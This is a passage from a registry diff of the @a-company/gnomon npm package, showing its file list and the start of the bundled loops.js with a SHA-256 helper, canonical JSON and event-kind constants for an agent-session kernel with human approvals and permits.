@a-company/gnomon 0.0.0-stage → 8.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. package/README.md +126 -2
  2. package/dist/agent.d.ts +28 -0
  3. package/dist/agent.js +45708 -0
  4. package/dist/build-id.json +1 -0
  5. package/dist/cli/gnomon.js +53946 -0
  6. package/dist/cli/gnomond.js +47744 -0
  7. package/dist/gnomon-local/cli.js +897 -0
  8. package/dist/index.d.ts +3477 -0
  9. package/dist/index.js +13698 -0
  10. package/dist/loops.d.ts +440 -0
  11. package/dist/loops.js +4706 -0
  12. package/dist/signer-CQ3Bpe7G.d.ts +158 -0
  13. package/dist/transport/gnomon-web.js +688 -0
  14. package/gnomon-mods/.purpose +143 -0
  15. package/gnomon-mods/constellation/README.md +27 -0
  16. package/gnomon-mods/constellation/fixtures/map-the-idea.golden.json +19 -0
  17. package/gnomon-mods/constellation/fixtures/map-the-idea.json +3 -0
  18. package/gnomon-mods/constellation/fixtures/summarize-the-session.golden.json +20 -0
  19. package/gnomon-mods/constellation/fixtures/summarize-the-session.json +3 -0
  20. package/gnomon-mods/constellation/fixtures/two-blocks.golden.json +4 -0
  21. package/gnomon-mods/constellation/fixtures/two-blocks.json +3 -0
  22. package/gnomon-mods/constellation/gnomon-manifest.json +68 -0
  23. package/gnomon-mods/constellation/skills/constellation-desk/SKILL.md +35 -0
  24. package/gnomon-mods/ledger/README.md +10 -0
  25. package/gnomon-mods/ledger/fixtures/breaker.golden.json +28 -0
  26. package/gnomon-mods/ledger/fixtures/breaker.json +80 -0
  27. package/gnomon-mods/ledger/fixtures/compacted.golden.json +42 -0
  28. package/gnomon-mods/ledger/fixtures/compacted.json +103 -0
  29. package/gnomon-mods/ledger/fixtures/over-budget.golden.json +24 -0
  30. package/gnomon-mods/ledger/fixtures/over-budget.json +86 -0
  31. package/gnomon-mods/ledger/fixtures/strip-reduced.golden.json +23 -0
  32. package/gnomon-mods/ledger/fixtures/strip-reduced.json +76 -0
  33. package/gnomon-mods/ledger/fixtures/strip.golden.json +18 -0
  34. package/gnomon-mods/ledger/fixtures/strip.json +68 -0
  35. package/gnomon-mods/ledger/gnomon-manifest.json +16 -0
  36. package/gnomon-mods/ledger/index.mjs +77 -0
  37. package/gnomon-mods/ledger/model.mjs +237 -0
  38. package/gnomon-mods/neurons/README.md +31 -0
  39. package/gnomon-mods/neurons/fixtures/capture-a-decision.golden.json +20 -0
  40. package/gnomon-mods/neurons/fixtures/capture-a-decision.json +3 -0
  41. package/gnomon-mods/neurons/fixtures/capture-a-learning.golden.json +19 -0
  42. package/gnomon-mods/neurons/fixtures/capture-a-learning.json +3 -0
  43. package/gnomon-mods/neurons/fixtures/search-the-brain.golden.json +19 -0
  44. package/gnomon-mods/neurons/fixtures/search-the-brain.json +3 -0
  45. package/gnomon-mods/neurons/fixtures/undeclared-kind.golden.json +9 -0
  46. package/gnomon-mods/neurons/fixtures/undeclared-kind.json +3 -0
  47. package/gnomon-mods/neurons/gnomon-manifest.json +87 -0
  48. package/gnomon-mods/neurons/skills/neurons-desk/SKILL.md +44 -0
  49. package/gnomon-mods/paradigm-context/README.md +9 -0
  50. package/gnomon-mods/paradigm-context/fixtures/empty.golden.json +28 -0
  51. package/gnomon-mods/paradigm-context/fixtures/empty.json +48 -0
  52. package/gnomon-mods/paradigm-context/fixtures/full-dark.golden.json +497 -0
  53. package/gnomon-mods/paradigm-context/fixtures/full-dark.json +134 -0
  54. package/gnomon-mods/paradigm-context/fixtures/full.golden.json +497 -0
  55. package/gnomon-mods/paradigm-context/fixtures/full.json +134 -0
  56. package/gnomon-mods/paradigm-context/fixtures/stale.golden.json +205 -0
  57. package/gnomon-mods/paradigm-context/fixtures/stale.json +69 -0
  58. package/gnomon-mods/paradigm-context/fixtures/unfocused.golden.json +28 -0
  59. package/gnomon-mods/paradigm-context/fixtures/unfocused.json +14 -0
  60. package/gnomon-mods/paradigm-context/gnomon-manifest.json +15 -0
  61. package/gnomon-mods/paradigm-context/index.mjs +64 -0
  62. package/gnomon-mods/paradigm-context/model.mjs +137 -0
  63. package/gnomon-mods/workshop/README.md +12 -0
  64. package/gnomon-mods/workshop/fixtures/strip-reduced.golden.json +56 -0
  65. package/gnomon-mods/workshop/fixtures/strip-reduced.json +16 -0
  66. package/gnomon-mods/workshop/fixtures/strip.golden.json +56 -0
  67. package/gnomon-mods/workshop/fixtures/strip.json +16 -0
  68. package/gnomon-mods/workshop/gnomon-manifest.json +14 -0
  69. package/gnomon-mods/workshop/index.mjs +73 -0
  70. package/gnomon-mods/workshop/model.mjs +152 -0
  71. package/package.json +80 -4
package/dist/loops.js ADDED
@@ -0,0 +1,4706 @@
1
+ // src/loops/schema.ts
2
+ import { createHash } from "node:crypto";
3
+
4
+ // ../gnomon-contracts/dist/index.js
5
+ function isPlainObject2(v) {
6
+ return typeof v === "object" && v !== null && !Array.isArray(v);
7
+ }
8
+ var ISO_DATE_TIME2 = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?(Z|[+-]\d{2}:\d{2})$/;
9
+ var SHA256_TAGGED = /^sha256:[0-9a-f]{64}$/;
10
+ function utf8(s) {
11
+ const out = [];
12
+ for (let i = 0; i < s.length; i++) {
13
+ let c = s.charCodeAt(i);
14
+ if (c >= 55296 && c <= 56319 && i + 1 < s.length) {
15
+ const d = s.charCodeAt(i + 1);
16
+ if (d >= 56320 && d <= 57343) {
17
+ c = 65536 + (c - 55296 << 10) + (d - 56320);
18
+ i++;
19
+ } else c = 65533;
20
+ } else if (c >= 55296 && c <= 57343) c = 65533;
21
+ if (c < 128) out.push(c);
22
+ else if (c < 2048) out.push(192 | c >> 6, 128 | c & 63);
23
+ else if (c < 65536) out.push(224 | c >> 12, 128 | c >> 6 & 63, 128 | c & 63);
24
+ else out.push(240 | c >> 18, 128 | c >> 12 & 63, 128 | c >> 6 & 63, 128 | c & 63);
25
+ }
26
+ return Uint8Array.from(out);
27
+ }
28
+ var K = Uint32Array.from([
29
+ 1116352408,
30
+ 1899447441,
31
+ 3049323471,
32
+ 3921009573,
33
+ 961987163,
34
+ 1508970993,
35
+ 2453635748,
36
+ 2870763221,
37
+ 3624381080,
38
+ 310598401,
39
+ 607225278,
40
+ 1426881987,
41
+ 1925078388,
42
+ 2162078206,
43
+ 2614888103,
44
+ 3248222580,
45
+ 3835390401,
46
+ 4022224774,
47
+ 264347078,
48
+ 604807628,
49
+ 770255983,
50
+ 1249150122,
51
+ 1555081692,
52
+ 1996064986,
53
+ 2554220882,
54
+ 2821834349,
55
+ 2952996808,
56
+ 3210313671,
57
+ 3336571891,
58
+ 3584528711,
59
+ 113926993,
60
+ 338241895,
61
+ 666307205,
62
+ 773529912,
63
+ 1294757372,
64
+ 1396182291,
65
+ 1695183700,
66
+ 1986661051,
67
+ 2177026350,
68
+ 2456956037,
69
+ 2730485921,
70
+ 2820302411,
71
+ 3259730800,
72
+ 3345764771,
73
+ 3516065817,
74
+ 3600352804,
75
+ 4094571909,
76
+ 275423344,
77
+ 430227734,
78
+ 506948616,
79
+ 659060556,
80
+ 883997877,
81
+ 958139571,
82
+ 1322822218,
83
+ 1537002063,
84
+ 1747873779,
85
+ 1955562222,
86
+ 2024104815,
87
+ 2227730452,
88
+ 2361852424,
89
+ 2428436474,
90
+ 2756734187,
91
+ 3204031479,
92
+ 3329325298
93
+ ]);
94
+ function sha256(input) {
95
+ const msg = typeof input === "string" ? utf8(input) : input;
96
+ const bitLen = msg.length * 8;
97
+ const padded = new Uint8Array(msg.length + 9 + 63 >> 6 << 6);
98
+ padded.set(msg);
99
+ padded[msg.length] = 128;
100
+ const dv = new DataView(padded.buffer);
101
+ dv.setUint32(padded.length - 8, Math.floor(bitLen / 4294967296));
102
+ dv.setUint32(padded.length - 4, bitLen >>> 0);
103
+ const H = Uint32Array.from([
104
+ 1779033703,
105
+ 3144134277,
106
+ 1013904242,
107
+ 2773480762,
108
+ 1359893119,
109
+ 2600822924,
110
+ 528734635,
111
+ 1541459225
112
+ ]);
113
+ const W = new Uint32Array(64);
114
+ const rotr = (x, n) => x >>> n | x << 32 - n;
115
+ for (let off = 0; off < padded.length; off += 64) {
116
+ for (let i = 0; i < 16; i++) W[i] = dv.getUint32(off + i * 4);
117
+ for (let i = 16; i < 64; i++) {
118
+ const w15 = W[i - 15];
119
+ const w2 = W[i - 2];
120
+ const s0 = rotr(w15, 7) ^ rotr(w15, 18) ^ w15 >>> 3;
121
+ const s1 = rotr(w2, 17) ^ rotr(w2, 19) ^ w2 >>> 10;
122
+ W[i] = W[i - 16] + s0 + W[i - 7] + s1 >>> 0;
123
+ }
124
+ let [a, b, c, d, e, f, g, h] = [H[0], H[1], H[2], H[3], H[4], H[5], H[6], H[7]];
125
+ for (let i = 0; i < 64; i++) {
126
+ const S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25);
127
+ const ch = e & f ^ ~e & g;
128
+ const t1 = h + S1 + ch + K[i] + W[i] >>> 0;
129
+ const S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22);
130
+ const maj = a & b ^ a & c ^ b & c;
131
+ const t2 = S0 + maj >>> 0;
132
+ h = g;
133
+ g = f;
134
+ f = e;
135
+ e = d + t1 >>> 0;
136
+ d = c;
137
+ c = b;
138
+ b = a;
139
+ a = t1 + t2 >>> 0;
140
+ }
141
+ H[0] = H[0] + a >>> 0;
142
+ H[1] = H[1] + b >>> 0;
143
+ H[2] = H[2] + c >>> 0;
144
+ H[3] = H[3] + d >>> 0;
145
+ H[4] = H[4] + e >>> 0;
146
+ H[5] = H[5] + f >>> 0;
147
+ H[6] = H[6] + g >>> 0;
148
+ H[7] = H[7] + h >>> 0;
149
+ }
150
+ const out = new Uint8Array(32);
151
+ const odv = new DataView(out.buffer);
152
+ for (let i = 0; i < 8; i++) odv.setUint32(i * 4, H[i]);
153
+ return out;
154
+ }
155
+ function hex(bytes) {
156
+ let s = "";
157
+ for (const b of bytes) s += b.toString(16).padStart(2, "0");
158
+ return s;
159
+ }
160
+ function sha256Tagged(input) {
161
+ return `sha256:${hex(sha256(input))}`;
162
+ }
163
+ function canonicalJson(value) {
164
+ if (value === null) return "null";
165
+ if (typeof value === "string" || typeof value === "boolean") return JSON.stringify(value);
166
+ if (typeof value === "number") {
167
+ if (!Number.isFinite(value)) throw new TypeError("canonicalJson: non-finite number");
168
+ return JSON.stringify(value);
169
+ }
170
+ if (Array.isArray(value)) {
171
+ return `[${value.map((v) => {
172
+ if (v === void 0) throw new TypeError("canonicalJson: undefined array member");
173
+ return canonicalJson(v);
174
+ }).join(",")}]`;
175
+ }
176
+ if (isPlainObject2(value)) {
177
+ const keys = Object.keys(value).filter((k) => value[k] !== void 0).sort();
178
+ return `{${keys.map((k) => `${JSON.stringify(k)}:${canonicalJson(value[k])}`).join(",")}}`;
179
+ }
180
+ throw new TypeError(`canonicalJson: unsupported ${typeof value}`);
181
+ }
182
+ function deepFreeze(v) {
183
+ if (v && typeof v === "object" && !Object.isFrozen(v)) {
184
+ Object.freeze(v);
185
+ for (const k of Object.keys(v)) deepFreeze(v[k]);
186
+ }
187
+ return v;
188
+ }
189
+ var RELEASE_MANIFEST_V1 = "gnomon-release-manifest:v1";
190
+ var RELEASE_ARTIFACT_NAMES = ["gnomon-helper", "gnomon-voice-io"];
191
+ var RELEASE_ARCHES = ["arm64", "x64", "universal"];
192
+ var VOICE_IO_TEAM = "SW4BMQ8PNL";
193
+ var VOICE_IO_IDENTIFIER = "gnomon.voice-io";
194
+ var VOICE_IO_REQUIREMENT = `anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists and certificate leaf[subject.OU] = "${VOICE_IO_TEAM}" and identifier "${VOICE_IO_IDENTIFIER}"`;
195
+ var RELEASE_VERSION_PATTERN = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?$/;
196
+ var ARTIFACT_VERSION_PATTERN = /^\d+\.\d+\.\d+$/;
197
+ var SHA256_HEX_PATTERN = /^[0-9a-f]{64}$/;
198
+ var RELEASE_REQUIREMENT_MAX = 1024;
199
+ var RELEASE_ARTIFACTS_MAX = 8;
200
+ var APP_ZIP_ARCHES = ["arm64", "x64"];
201
+ var RELEASE_MANIFEST_V1_KEYS = ["schemaVersion", "release", "artifacts"];
202
+ var RELEASE_APP_ZIP_V1_KEYS = ["arch", "sha256"];
203
+ var RELEASE_ARTIFACT_V1_KEYS = ["name", "version", "sha256", "requirement", "arch"];
204
+ var CAP_SHAPES = Object.freeze(["tall", "wide", "floppy"]);
205
+ var CAP_STATES = Object.freeze(["needs", "working", "idle", "knot"]);
206
+ var CAP_KEYS = Object.freeze(["shape", "hue", "filled", "state", "label"]);
207
+ var ULID_SRC = "[0-7][0-9A-HJKMNP-TV-Z]{25}";
208
+ var B32_26 = "[0-9A-HJKMNP-TV-Z]{26}";
209
+ var ULID_MAX_TIME = 2 ** 48 - 1;
210
+ var ID_PREFIXES = {
211
+ ev: "ev:",
212
+ log: "log:",
213
+ conn: "conn:",
214
+ card: "card:",
215
+ arm: "arm:",
216
+ permit: "permit:v1:",
217
+ brief: "brief:",
218
+ msg: "msg:",
219
+ ds: "ds:",
220
+ /** the Desk (TD-2026-10-20-812): one offer.shown row and the decision on it */
221
+ offer: "offer:"
222
+ };
223
+ var ID_PATTERNS = Object.fromEntries(
224
+ Object.entries(ID_PREFIXES).map(([k, p]) => [k, new RegExp(`^${p}${ULID_SRC}$`)])
225
+ );
226
+ var HSID_V1_PATTERN = new RegExp(`^hsid:v1:${ULID_SRC}$`);
227
+ var HSID_V1D_PATTERN = new RegExp(`^hsid:v1d:${B32_26}$`);
228
+ var HSID_PATTERN = new RegExp(`^hsid:(v1:${ULID_SRC}|v1d:${B32_26})$`);
229
+ var TURN_ID_PATTERN = new RegExp(`^turn:(hsid:(?:v1:${ULID_SRC}|v1d:${B32_26}))/([1-9][0-9]*)$`);
230
+ var KEY_ID_PATTERN = /^(gkey|gkey-p256|gkey-x25519):v1:[0-9a-f]{64}$/;
231
+ var REPO_SCOPE_PATTERN = /^repo:[0-9a-f]{16}$/;
232
+ var CONTRACT_ID_PATTERN = /^contract:v1:[0-9a-f]{64}$/;
233
+ var PRINCIPAL_KINDS = ["human", "agent", "session", "kernel", "mod", "voice", "peer"];
234
+ var ANY_PRINCIPAL_PATTERN = /^p:[0-9a-hjkmnp-tv-z]{8}\/[a-z0-9][a-z0-9._-]{0,63}(@[0-9a-f]{8})?$/;
235
+ var DEVICE_ID_PATTERN = /^dev:[0-9a-hjkmnp-tv-z]{8}\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/;
236
+ var IDENTITY_RESERVED_VALUES = Object.freeze({
237
+ "M1.1:P8-D58": Object.freeze({ grant: ["grant.voice-approvals"], capability: ["voice.approve:<class>"] }),
238
+ "M1.1:P8-R9": Object.freeze({ principalKind: ["peer"], registry: ["link"], grant: ["grant.peer"], capability: ["link:send"] })
239
+ });
240
+ var KERNEL_REF_SCHEMES = [
241
+ "ev",
242
+ "hsid",
243
+ "cc",
244
+ "gkey",
245
+ "dev",
246
+ "permit",
247
+ "card",
248
+ "contract",
249
+ "node",
250
+ "pev",
251
+ "peer",
252
+ "turn"
253
+ ];
254
+ var PACKAGE_REF_SCHEMES = ["spec", "sym", "wl", "n", "s", "td", "l", "t", "knot", "doodle"];
255
+ var REF_SCHEMES = [...KERNEL_REF_SCHEMES, ...PACKAGE_REF_SCHEMES];
256
+ var REF_V1_JSON_PATTERN = `^(${REF_SCHEMES.join("|")}):[^\\s]+$`;
257
+ var CLAUDE_MODEL_ALIASES = Object.freeze(["default", "opus", "sonnet", "haiku", "fable", "opusplan", "opus[1m]", "sonnet[1m]"]);
258
+ var PUBLISHER_PATTERN = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){0,38}$/;
259
+ var MOD_NAME_PATTERN = /^[a-z](?:[a-z0-9]|-(?=[a-z0-9])){0,23}$/;
260
+ var MOD_ID_PATTERN = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){0,38}\.[a-z](?:[a-z0-9]|-(?=[a-z0-9])){0,23}$/;
261
+ var MOD_ID_LIMITS = Object.freeze({ publisher: 39, name: 24, id: 60 });
262
+ var MOD_ID_MAX = MOD_ID_LIMITS.id;
263
+ var RESERVED_PUBLISHERS = Object.freeze([
264
+ "gnomon",
265
+ "local",
266
+ "kernel",
267
+ "system",
268
+ "paradigm",
269
+ "claude",
270
+ "anthropic",
271
+ "admin",
272
+ "root",
273
+ "first-party",
274
+ "mod",
275
+ "mods",
276
+ "modns",
277
+ "desk",
278
+ "mcp",
279
+ "core",
280
+ "builtin",
281
+ "human",
282
+ "user"
283
+ ]);
284
+ var WINDOWS_DEVICE_NAMES = Object.freeze([
285
+ "con",
286
+ "prn",
287
+ "aux",
288
+ "nul",
289
+ ...Array.from({ length: 10 }, (_, i) => `com${i}`),
290
+ ...Array.from({ length: 10 }, (_, i) => `lpt${i}`)
291
+ ]);
292
+ var FIRST_PARTY_MOD_NAMES = Object.freeze(["workshop", "ledger", "paradigm-context", "neurons", "constellation"]);
293
+ var FOUNDER_BRANDS = Object.freeze({
294
+ ascend42: Object.freeze({ githubOwner: "ascend42" }),
295
+ "a-company": null,
296
+ warpline: null,
297
+ nevr: null,
298
+ nevrland: null,
299
+ conductor: null
300
+ });
301
+ var FIRST_PARTY_DISPLAY_NAMES = Object.freeze([...FIRST_PARTY_MOD_NAMES, "gnomon", "paradigm", "claude", "anthropic"]);
302
+ var MOD_REFUSAL_ROUTES = Object.freeze({
303
+ FORMAT: Object.freeze({ code: "UNSUPPORTED", gate: "usage" }),
304
+ ENGINE: Object.freeze({ code: "UNSUPPORTED", gate: "usage" }),
305
+ PUBLISHER: Object.freeze({ code: "FORBIDDEN", gate: "trust" }),
306
+ COLLISION: Object.freeze({ code: "BAD_REQUEST", gate: "usage" })
307
+ });
308
+ var MOD_REFUSAL_CODES = Object.freeze(Object.keys(MOD_REFUSAL_ROUTES));
309
+ var MANIFEST_FORMAT = Object.freeze({ current: 2, accepted: Object.freeze([1, 2]) });
310
+ var MCP_SERVER_NAME_MAX = 28;
311
+ var QUALIFIED_TOOL_NAME_MAX = 64;
312
+ var GIT_COMMIT_PATTERN = /^[0-9a-f]{40}$/;
313
+ var OFFER_PHASES = ["diverge", "synthesize", "commit"];
314
+ var OFFER_DECISIONS = ["open", "not-now", "stop-here"];
315
+ var OFFER_SUPPRESS_REASONS = ["no-block", "turn-streaming", "pending-card", "not-offerable", "kind-undeclared", "malformed"];
316
+ var OFFER_SUPPRESS_UNNAMED = Object.freeze(["no-block", "malformed"]);
317
+ var OFFER_REACHES = ["mcp"];
318
+ var CONTEXT_SOURCES = ["recent-messages", "open-files", "repo-path", "selection", "session-summary"];
319
+ var OFFERS_PER_MOD_MAX = 6;
320
+ var OFFER_LIMITS = Object.freeze({ title: 60, summary: 200, restraint: 200, contextIn: 8, related: 6 });
321
+ var OFFER_QUESTION_MAX = 240;
322
+ var OFFER_BLOCK_MAX = 1024;
323
+ var OFFER_TEXT_MAX = 262144;
324
+ var OFFER_TOKEN_PATTERN = /^[a-z][a-z0-9-]{0,63}$/;
325
+ var OFFER_TOOL_PATTERN = /^[A-Za-z][A-Za-z0-9_-]{0,63}$/;
326
+ var MARK_PILE = new RegExp("\\p{M}{4}", "u");
327
+ var OFFER_TITLE_SCHEMA_PATTERN = '^[^<>"`]*$';
328
+ var OFFER_SPEC_V1_KEYS = ["kind", "phase", "title", "summary", "contextIn", "resultOut", "reach", "handoffTool", "related", "restraint"];
329
+ var OFFER_BLOCK_KEYS = ["mod", "kind", "question"];
330
+ var AUDIENCES = ["private", "team", "org"];
331
+ var SENSITIVITIES = ["normal", "sensitive", "secret"];
332
+ var INJECT_ORIGINS = ["kernel", "client", "peer"];
333
+ var SESSION_TAINTS = ["none", "peer", "peer-teammate"];
334
+ var APPROVAL_SUSPECT_REASONS = [
335
+ "voice-unarmed",
336
+ "voice-unenrolled",
337
+ "voice-no-readback",
338
+ "voice-echo-overlap",
339
+ "voice-custody-client",
340
+ "strictness-class"
341
+ ];
342
+ var D58 = "M1.1:P8-D58";
343
+ var R9 = "M1.1:P8-R9";
344
+ var D86 = "M1.1:P8-D86-D88";
345
+ var D89 = "M1.4:P8-D89";
346
+ var D98 = "8.0:P8-D98";
347
+ var PREFIX_RULES = "8.0:TD-2026-10-20-294";
348
+ var EDIT_RULES = "8.0:TD-2026-10-23-939";
349
+ var RULES_VIEW = "8.0:rules-view";
350
+ var STANDING = "8.0:TD-2026-10-20-086";
351
+ var MODEL_SWITCH = "8.0:model-switch";
352
+ var DESK = "8.0:TD-2026-10-20-812";
353
+ var OFFER_SUPPRESS = "8.0:T-2026-10-21-006";
354
+ var REREVIEW = "8.0:T-2026-10-21-008";
355
+ var SESSION_RENAME = "8.0:session-rename";
356
+ var LOOPS = "8.0:loops";
357
+ var GIT_VERB_TAG = "8.0:git-verbs";
358
+ var TABLE = [
359
+ // daemon.anchor.lag{rows, which, bootPrev?, bootNow?}: research 33 S33-07 (P8-D82) — keystore anchor lag > 1023 on open
360
+ // (which: 'keystore'); P8-D85 — file-anchor lag > 63 relaxed across a boot change (which: 'file', with the
361
+ // keystore anchor's recorded boot as bootPrev and this boot as bootNow; additive).
362
+ // daemon.log.gap{lostFrom, lostTo, lostHash, bootPrev, bootNow, fileLag}: research 33 S33-10 (P8-D83) — presence-gated
363
+ // acknowledgement of rows lost to an unclean reboot (keystore anchor ahead of the db, boot session changed);
364
+ // fileLag (S34-24, P8-D85, additive) = rows the file anchor lagged the db by at open (0 if ahead or exact).
365
+ // daemon.anchor.failed{seq, kind}: research 33 S34-02 (P8-D83) — a critical row whose anchoring failed after COMMIT;
366
+ // projections treat that seq as not having taken effect.
367
+ ["daemon", "kernel", "start exit lock.refused segment reexec anchor.lag log.gap anchor.failed"],
368
+ // daemon.log.quarantined{quarantinedLog, quarantinedHead{seq, hash, segment}, evidencePath, authorizedBy}: reserved for
369
+ // T-2026-10-17-009(a) (P8-D89, kernel-signed; not built). evidencePath is a local path: a sensitive FIELD.
370
+ ["daemon", "kernel", "log.quarantined", D89],
371
+ // key.token.revoked{tokenId}: the kernel observed a root-signed read-token revocation (M1.4 slice 3, P8-D89 —
372
+ // revocations stay sticky across restarts by being on the chain).
373
+ ["key", "kernel", "token.revoked", D89],
374
+ [
375
+ "socket",
376
+ "kernel",
377
+ "connect disconnect hello auth.ok auth.fail auth.theft auth.replay auth.reconnect.requested web.listen web.bundle.mismatch web.linger web.stop web.transport.exited gui.token.issued gui.session.ended subscription.dropped frame.dropped frame.refused"
378
+ ],
379
+ ["key", "kernel", "mint rotate registry.malformed registry.unsigned device.added device.revoked keystore.unavailable"],
380
+ ["config", "kernel", "loaded unsigned prefs ignored"],
381
+ [
382
+ "session",
383
+ "kernel",
384
+ "open alias alias.rejected refused spawned inject tainted idle respawn exited orphaned routed sandbox layers.changed"
385
+ ],
386
+ // session.compacted{hsid, turn, reason, summaryHash, tokensBefore, tokensAfter}: T-2026-10-18-016 (P8-D93) — a
387
+ // backend finished compacting the session's context (the local runner's successful compaction_end, §13). Typed
388
+ // so clients need not parse the raw turn.event line; validated at append (validateSessionCompactedPayload).
389
+ ["session", "kernel", "compacted"],
390
+ // P8-D98 (TD-2026-10-19-908, §2.4 rule 11): session.drained{uuid, reason} — the old kernel drained the session to a
391
+ // turn boundary before an upgrade; the new kernel resumes it. permit.reattributed{permitId, hsid, drainedEventId} —
392
+ // the kernel-signed row that hands a permit to the resumed session, citing the drained row (never a mint).
393
+ ["session", "kernel", "drained", D98],
394
+ ["permit", "kernel", "reattributed", D98],
395
+ // P8-D98 (TD-2026-10-19-528 F1/F2): approval.rule.revoked{ruleId, repoKey, tool, connId} — a verified human device
396
+ // revoked a standing `always` rule (rules.revoke). approval.effect.failed{cardId, decision, effect, reason} — a
397
+ // decided card whose effect could not be applied (never a silent success).
398
+ ["approval", "kernel", "rule.revoked effect.failed", D98],
399
+ // 8.0:rules-view (Aegis M2/L2): approval.rule.disabled{ruleId, repoKey, tool, until, batch, connId} — the human turned a
400
+ // standing always rule off (until an ISO time on the kernel clock, ≤ RULE_OFF_MAX_MS ahead, or null = until turned
401
+ // back on); a narrowing, written at once. approval.rule.enabled{ruleId, repoKey, tool, cause, batch?, connId?, cardId?,
402
+ // until?} — cause 'human': the batch's ONE strictness card (detail.op 'rules.apply') was allowed with fresh presence;
403
+ // cause 'expired': the kernel's sweep saw the off time pass (the feed shows it). Enabled only clears a disabled flag
404
+ // on a STANDING rule: it never creates a rule and never undoes a revoke.
405
+ ["approval", "kernel", "rule.disabled rule.enabled", RULES_VIEW],
406
+ // TD-2026-10-20-086 F6: grant.standing{grantId, cardId, tuples, repos, device, expiresAt, by} — minted by ONE root-class
407
+ // `grant` card; grant.standing.used{grantId, cardId, tuple, decision, repo, hsid} — the notify row of each use
408
+ // (beside approval.decide{presence:'standing:<grantId>'}); grant.standing.revoked{grantId, by, reason} — a tighten,
409
+ // no presence. request.grant.standing{tuples, repos} / request.grant.standing.revoke{grantId}: the human's asks.
410
+ ["grant", "kernel", "standing standing.used standing.revoked", STANDING],
411
+ ["request", "kernel", "grant.standing grant.standing.revoke", STANDING],
412
+ // T-2026-10-20-007: approval.auto.miss{hsid, tool, why, inputHash, modeRef} — the supervisor's read-only pass refused
413
+ // under auto-edits/ask, written before the card (a sensitive kind: why and inputHash are sensitive fields).
414
+ ["approval", "kernel", "auto.miss", STANDING],
415
+ // Aegis M1 (TD-2026-10-20-086 F5): approval.unlock.joined{connId, scope:'device'} — a new connection of the same GUI
416
+ // device first used the device's cached unlock (the GUI feed says "another Gnomon window joined your unlock").
417
+ ["approval", "kernel", "unlock.joined", STANDING],
418
+ // model switch (probe p-set-model): request.session.model{hsid, model} — the human's ask, written by the kernel on a
419
+ // first-party human connection; session.model{hsid, from, to, permitId, outcome} — what the switch did (closed).
420
+ ["request", "kernel", "session.model", MODEL_SWITCH],
421
+ ["session", "kernel", "model", MODEL_SWITCH],
422
+ // the Desk (TD-2026-10-20-812, O1 two-step accept): offer.shown{offerId, hsid, mod, kind, phase, title, contextIn,
423
+ // question, replyTurnId} (title and contextIn copied by the kernel from the manifest offer spec) — the kernel parsed one ```offer block (offerBlockOf) naming an installed mod's declared offer;
424
+ // offer.decided{offerId, hsid, decision} — the human's open | not-now | stop-here; offer.kept{offerId, hsid, mod, tool}
425
+ // — the opened offer's handoff tool ran (kept/shown is the A6 metric). request.offer.decide{offerId, decision},
426
+ // request.offer.mute{mod, scope:'repo', hsid, muted} (A3; S0b: the human names the session, the kernel derives the
427
+ // repo), request.mod.install{source:'git'|'folder', url|path, commit?} (A8; commit = 40 hex, git only): the human's
428
+ // asks, written by the kernel on a first-party human connection (like request.session.model). offer.muted{mod, repo,
429
+ // muted, hsid} — the kernel-written result of a mute: the repo scope it derived from the live session (S0b).
430
+ // `mod` is a mod id <publisher>.<name> (S0b) everywhere in the Desk kinds.
431
+ ["offer", "kernel", "shown decided kept muted", DESK],
432
+ // T-2026-10-21-006: offer.suppressed{hsid, turn, why, name?, offerKind?} — a completed main-chain reply the #offer-router
433
+ // evaluated showed no offer, and why (OFFER_SUPPRESS_REASONS). Ids and names only, never message text; at most one per
434
+ // completed turn (no-block only while the session has an offerable mod).
435
+ ["offer", "kernel", "suppressed", OFFER_SUPPRESS],
436
+ // T-2026-10-21-008 (re-review M-2): offer.retired{offerId, hsid, why} — a shown, undecided offer stopped standing (why
437
+ // in OFFER_RETIRE_REASONS: 'continued' = the reply it answered continued, a Stop-hook continuation). Ids only.
438
+ ["offer", "kernel", "retired", REREVIEW],
439
+ // T-2026-10-21-008 (re-review M-1): session.anomaly{hsid, why} — the supervisor saw a stream shape it does not expect
440
+ // (why in SESSION_ANOMALY_REASONS: 'result-without-turn' = a result with no outstanding turn). Names only, never text.
441
+ ["session", "kernel", "anomaly", REREVIEW],
442
+ // the session rename (8.0:session-rename): request.session.rename{hsid, name} — the human's ask, written by the kernel on
443
+ // a first-party human connection (like request.session.model); session.renamed{hsid, name} — the display name the
444
+ // kernel set ('' = back to the derived title). The name is DISPLAY TEXT (normalizeSessionName, the §4.5 sanitizer),
445
+ // never a capability: nothing routes, grants or permits by it.
446
+ ["request", "kernel", "session.rename", SESSION_RENAME],
447
+ ["session", "kernel", "renamed", SESSION_RENAME],
448
+ ["request", "kernel", "offer.decide offer.mute mod.install", DESK],
449
+ // the context meter (TD-2026-10-20-812): session.context.threshold{hsid, usedTokens, windowTokens, ratio} — a Paradigm
450
+ // session crossed the meter's threshold (Claude checkpoints, then the human is ASKED); request.session.restart{hsid,
451
+ // checkpointRef?} — the human's yes: restart the session fresh and recover from the checkpoint (never auto-compact).
452
+ ["session", "kernel", "context.threshold", DESK],
453
+ ["request", "kernel", "session.restart", DESK],
454
+ ["turn", "kernel", "sent event usage result partial steer ask-user plan"],
455
+ // §9.1 lists permit/budget as one row; split by the names the spec uses
456
+ // elsewhere (permit.grant §3.3 S1, budget.usage §3.3 S3).
457
+ ["permit", "kernel", "reserve grant deny release"],
458
+ ["budget", "kernel", "usage ladder pause resume breaker.open breaker.close compute window"],
459
+ ["billing", "kernel", "api.card.requested api.active api.ended api.refused"],
460
+ ["approval", "kernel", "request decide unlock unlock.dropped presence.denied expire rule.learned suspect"],
461
+ [
462
+ "approval",
463
+ "kernel",
464
+ "voice.arm voice.disarm voice.intent voice.held voice.withdrawn voice.refused voice.policy.narrowed voice.handle.rotated",
465
+ D58
466
+ ],
467
